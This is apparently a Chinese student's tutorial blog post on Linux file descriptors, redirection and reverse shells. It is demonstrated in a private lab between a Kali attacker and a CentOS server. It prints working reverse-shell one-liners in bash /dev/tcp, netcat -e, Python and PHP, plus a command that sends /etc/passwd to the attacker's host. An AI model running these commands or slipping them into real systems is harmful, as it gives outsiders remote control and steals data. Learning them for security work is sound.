浅谈反弹shell与重定向 - 图2

0x00 前言

对于反弹shell,打比赛的时候也碰到过,也听学长说过,今天来学习原理并记录一下。

0x01什么是shell?

shell是操作主机的接口,反弹shell就是把shell送给别人,让其它人可以操作自己的计算机。

0x02什么是反弹shell?

  1. 黑客控制一台机器后,弹一个shell给自己,建立一个稳固的后门。

其过程就是攻击端监听某tcp/udp端口,受害端对该端口发出请求,并将自己的shell的输入输出转到控制端

0x03为什么要反弹shell?

常用于下列原因:

1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。

2.目标机器的ip动态改变,你不能持续控制。

3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。

4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的
什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是上策。

反弹shell的本质就是: 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

0x04反弹shell的原理

1.Linux里的文件描述符
文件描述符(file description) 是内核为了高效管理亦被打开的文件所创建的索引,就是一个非负的证书(通常是小正数),用于指被打开的文件,所有执行I/O操作的系统调用都通过文件描述符。
在Linux刚启动时,0是标准输入(默认设备键盘),1是标准输出(默认设备显示器),2是标准错误输出(默认设备显示器)。

文件描述符 用途 POSIX名称 stdio流
0 标准输入 STDIN_FILENO stdin
1 标准输出 STDOUT_FILENO stdout
2 标准错误 STDERR_FILENO stderr

注意:每一个文件描述符会与一个打开文件相对应,同时,不同的文件描述符也会指向同一个文件。相同的文件描述符也会指向同一个文件。

2.重定向
**
什么是重定向?

将原本要输出到屏幕的数据信息,重定向到指定的文件中。

重定向的含义:

> 标准正确输出 ( 覆盖 )
>> 标准正确输出 ( 追加 )
2> 标准错误输出 ( 覆盖 )
2>> 标准错误输出 ( 追加 )
&> -混合输出(标准输出、标准错误输出) ( 覆盖
&>> 混合输出(标准输出、标准错误输出) ( 追加 )


输入重定向**

格式:n< file
image.png
解析器会从左至右解析语句,当解析到<时,会先处理重定向,将标准重定向到1.txt,之后cat再从标准输入读取指令时,由于已经重定向到了1.txt,于是cat就从1.txt里读取内容。

输出重定向

格式:n> file

image.png

将我们输出的内容重定向到1.txt里。

标准输出与标准错误输出重定向
**
格式:&> file
image.png

&> 会将标准错误输出重定向到1.txt里
**

0x05 实验演示

  • kail 192.168.46.129(攻击端)
  • Centos7 192.168.46.131(服务器)

1.通过kail反弹shell
常见反弹shell命令格式

$ bash -i >& /dev/tcp/ip/port 0>&1

在kail中使用nc监听777端口

nc -lvp 777

image.png

在服务器端执行

$ bash -i >& /dev/tcp/192.168.46.129/777 0>&1

然后查看kail的IP地址

image.png

kail的IP地址已经变成了服务器端的地址,说明反弹shell成功,这就能对服务器远程操控了。

来说一下服务端执行命令的含义:

bash是Linux里常见的shell,Linuxde还有sh,zsh等等
-i 这个参数是产生交互式shell
/dev/tcp/ip/port
Linux有一个特殊的文件/dev/tcp,打开这个文件就类似于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据,但如果你访问这个文件的位置它是不存在的。

image.png
这个文件的作用并不止一个,还有更多的骚操作

例一:
攻击者想要查看服务器的passwd文件的内容

 cat /etc/passwd >/dev/tcp/192.168.46.129/7777

kail攻击端就可以接收到了passwd的内容
image.png

例二:
攻击机上输入

image.png

在服务器端

image.png

上面的操作还是比较麻烦的,不够“骚操作”

交互式shell重定向

1.将服务器端的输出结果重定向到攻击机端
**

bash -i > /dev/tcp/192.168.46.129/7777

image.png

通过重定向将标准输出的结果重定向到攻击机上,而受害机就不会有会显。

服务器端:
image.png
kail端
image.png

这样的操作是不是已经很骚了,但我还是不满足。
换个角度思考,我想要在攻击端输入命令,让受害机来执行并且将执行结果返回给我们,从而做到神不知鬼不觉的拿到了我们想要的信息,这操作是不是更骚。

根据上面的图,我们就以想标准输出重定向到攻击端,就将结果会先到了攻击端。那我们就可以在标准输入端做手脚。
看图
image.png

那就是

bash -i > /dev/tcp/192.168.46.129/7777 0>&1 2>&1

标准输入由攻击端输入,并且将标准输出返回给攻击端,形成一个回路,杀人于无形。
image.png

这种情况就类似于直接拿到了shell

0x06 常见的反弹shell的方法

上面的bash反弹也是一种常见的反弹shell

方法2:使用netcat(瑞士军刀)

kail先监听7777端口

nc -lvp 7777

服务器端执行

nc -e  /bin/bash 192.168.46.129 7777

反弹shell到kail成功
image.png

方法三:使用python反弹shell

kail监听7777端口

nc -lvp 7777

服务器端执行

$ python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.46.129',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

image.png
成功反弹shell到kail

方法四:php反弹shell

kail监听7777端口

服务器端

 php -r 'exec("/bin/bash -i >& /dev/tcp/192.168.186.128/6666");'

image.png
利用系统函数exec,执行bash,成功反弹shell

利用fsockopen连接

fsockopen — 打开一个网络连接或者一个Unix套接字连接

服务器端执行

php -r '$sock=fsockopen("192.168.186.128",6666);exec("/bin/bash -i <&3 >&3 2>&3");'

image.png

成功反弹shell

0x07 总结

通过这次的学习,收获很多。对重定向的学习,学习到了Linux的文件描述符,及其与文件的关系为后面学习反弹shell打下了基础知识的铺垫。从而对反弹shell的理解更加深刻。